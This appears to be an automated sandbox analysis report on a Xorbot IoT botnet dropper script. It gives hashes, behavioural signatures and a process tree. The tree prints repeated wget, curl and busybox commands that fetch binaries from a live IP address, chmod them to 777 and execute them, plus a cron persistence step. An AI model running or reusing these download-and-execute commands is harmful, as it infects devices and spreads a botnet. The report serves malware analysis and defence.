Analysis

  • max time kernel
    177s
  • max time network
    181s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 15:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5eab5295c0740b5344abb66f19ea0e39

  • SHA1

    7796e56bc014459c40563c509569791a6f05341a

  • SHA256

    b516438a84f4d4febdc19c62bae733ac24bf557205fd8ac1e42d1fb0f83f0d5a

  • SHA512

    6922bb223cb1df386c64584feb519299b4e06ed94d6153a314e01a883ecfa5a608bfb4732e11dff85402cdc406fd1293db7914457c14f8024a54f87754afb4d4

  • SSDEEP

    96:C//63ZCcEgN6L/vLIPnA43WlMf61Nx//63bZCcEgN8Lv7vLIPnlXXWTyYl6f81Na:dCcEg4BaWuf61PcEgVIQz

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1281) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:698
        • /usr/bin/wget
          wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:700
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:724
        • /bin/chmod
          chmod 777 pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • File and Directory Permissions Modification
          PID:726
        • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          ./pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:727
        • /bin/rm
          rm pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          PID:729
        • /usr/bin/wget
          wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Writes file to tmp directory
          PID:730
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          ./VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            ./MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Writes file to tmp directory
              PID:768
            • /bin/chmod
              chmod 777 QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              ./QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
              • Executes dropped EXE
              PID:788
            • /bin/rm
              rm QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
              2⤵
                PID:792
              • /usr/bin/wget
                wget http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Writes file to tmp directory
                PID:793
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Writes file to tmp directory
                PID:803
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • File and Directory Permissions Modification
                PID:819
              • /tmp/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                ./VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:820
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:822
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:824
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:826
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:827
                    • /bin/rm
                      rm VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                      2⤵
                        PID:830
                      • /usr/bin/wget
                        wget http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                        2⤵
                          PID:913
                        • /usr/bin/curl
                          curl -O http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                          2⤵
                            PID:924
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                            2⤵
                            • Writes file to tmp directory
                            PID:926
                          • /bin/chmod
                            chmod 777 4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                            2⤵
                            • File and Directory Permissions Modification
                            PID:931
                          • /tmp/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                            ./4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                            2⤵
                            • Executes dropped EXE
                            PID:932
                          • /bin/rm
                            rm 4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                            2⤵
                              PID:934
                            • /usr/bin/wget
                              wget http://216.126.231.164/bins/UFK1aCixdf3UXYbkGRVrbde4PB5uIIoYvO
                              2⤵
                                PID:935

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /var/spool/cron/crontabs/tmp.juAaIe

                              Filesize

                              210B

                              MD5

                              3ecdf623d93e56e1846a4353cdb09f2e

                              SHA1

                              8f1a1a9f0e22f583551184d50ee3f05d6c098b38

                              SHA256

                              8149b4eed99d1e6de4827f6fb7467136a43e893855d7c23b472e857ce0405f32

                              SHA512

                              d0c066a9d9b7359756b0ec63e4e5238246f5ff339d1b8ad5c8d7543dae0f0f7e5dfa274895866f84384875d4139bc69a80d3c000c00ac433d63bf4a52f2ba81f